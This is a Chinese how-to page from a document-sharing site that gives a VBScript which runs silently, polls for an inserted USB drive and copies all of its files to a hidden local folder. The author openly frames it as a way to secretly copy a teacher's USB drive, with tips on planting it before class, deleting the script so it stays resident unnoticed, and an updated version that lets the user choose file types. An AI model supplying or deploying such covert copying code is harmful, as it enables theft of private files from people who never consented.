資源描述：
《U盤(pán)插入自動(dòng)復(fù)制程序》由會(huì)員上傳分享，免費(fèi)在線(xiàn)閱讀，更多相關(guān)內(nèi)容在行業(yè)資料-天天文庫(kù)。
1、U盤(pán)插入自動(dòng)復(fù)制程序建立一個(gè)文本文檔，WIN+R里面打NOTEPAD，或者自己新建一個(gè)都一樣?把下面的代碼復(fù)制進(jìn)去?setfso=createobject("scripting.filesystemobject")setws=createobject("wscript.shell")onerrorresumenextdowscript.sleep1000iffso.driveexists("U盤(pán)的盤(pán)符")thenfso.copyfile"U盤(pán)的盤(pán)符加*號(hào)","要復(fù)制到的目錄"fso.copyfolde
2、r"U盤(pán)的盤(pán)符加*號(hào)","要復(fù)制到的目錄"wscript.sleep20000endifloop??注意標(biāo)顏色的地方要自己改藍(lán)色的就是要復(fù)制到的目錄，比如要復(fù)制到C盤(pán)USB文件夾里，則用C:USB代替藍(lán)色部分，注意大小寫(xiě)，同時(shí)必須確保USB這個(gè)文件夾存在。紅色的是U盤(pán)的盤(pán)符，比如新插進(jìn)去的U盤(pán)是E盤(pán)，則用e:*代替紅色部分，F(xiàn)盤(pán)就是f:*，第一個(gè)U盤(pán)的盤(pán)符，這個(gè)不要*號(hào)，后2個(gè)切記不要漏掉*這個(gè)符號(hào)。注意和第一個(gè)的區(qū)別??復(fù)制好也改好后保存文件就OK了，然后改一下這個(gè)文件的名字，最好使用英文的
3、，然后后綴改成.VBS，原來(lái)是.TXT的，如果后綴沒(méi)喲顯示，則先打開(kāi)我的電腦，在菜單欄里找到，工具——文件夾選項(xiàng)，在查看標(biāo)簽里，有一個(gè)隱藏已知文件類(lèi)型的擴(kuò)展名，把勾勾去掉就會(huì)顯示出來(lái)后綴了。??后綴改好以后，運(yùn)行這個(gè)文件，就OK了。同時(shí)你可以把這個(gè)文件刪除掉，它已經(jīng)駐留內(nèi)存了，重啟以后這個(gè)東西就不會(huì)再出現(xiàn)了，老師絕對(duì)發(fā)現(xiàn)不了要停止這個(gè)東西，在任務(wù)管理器里面結(jié)束進(jìn)程WScript.exe就可以了。這個(gè)軟件學(xué)過(guò)編程的都應(yīng)該會(huì)看得懂有沒(méi)有惡意代碼。?另外我不是計(jì)算機(jī)專(zhuān)業(yè)的，這個(gè)東西目前對(duì)插N個(gè)U盤(pán)只會(huì)復(fù)制第
4、一個(gè)，對(duì)插移動(dòng)硬盤(pán)會(huì)全部復(fù)制···要接近電腦請(qǐng)?jiān)谏险n之前，一般老師怕麻煩不會(huì)去重啟的。??更新：現(xiàn)在沒(méi)空弄這個(gè)，有些人弄不來(lái)我現(xiàn)在更新了一下代碼，復(fù)制下面的所有東西到一個(gè)文本文件，改名為XX.VBS使用即可setfso=createobject("scripting.filesystemobject")setws=createobject("wscript.shell")dimUSB,file,folder,filesUSB=inputbox("請(qǐng)輸入U(xiǎn)盤(pán)的盤(pán)符"&Chr(10)&"如插入的U盤(pán)為F盤(pán)
5、，則輸入F","插入的U盤(pán)盤(pán)符","F")folder=inputbox("請(qǐng)輸入復(fù)制到的文件夾"&Chr(10)&"如想復(fù)制到D盤(pán)，請(qǐng)輸入D:","請(qǐng)輸入復(fù)制到的文件夾","C:USB")files=inputbox("請(qǐng)輸入要復(fù)制的文件類(lèi)型"&Chr(10)&"如要復(fù)制EXCEL文件，輸入xls；默認(rèn)為全部類(lèi)型","請(qǐng)輸入要復(fù)制的文件類(lèi)型","ALL")USB=USB&":"folder=folder&""iffiles="ALL"thenfile=USB&"*"elsefile=USB&
6、"*."&filesendififFSO.FolderExists(folder)thenelseFSO.CreateFolder(folder)endifonerrorresumenextdowscript.sleep1000iffso.driveexists(USB)thenfso.copyfilefile,folderfso.copyfolderfile,folderwscript.sleep20000endifloop?紅色部分全部復(fù)制到一個(gè)文本文件，然后保存，后綴改成.VBS即可
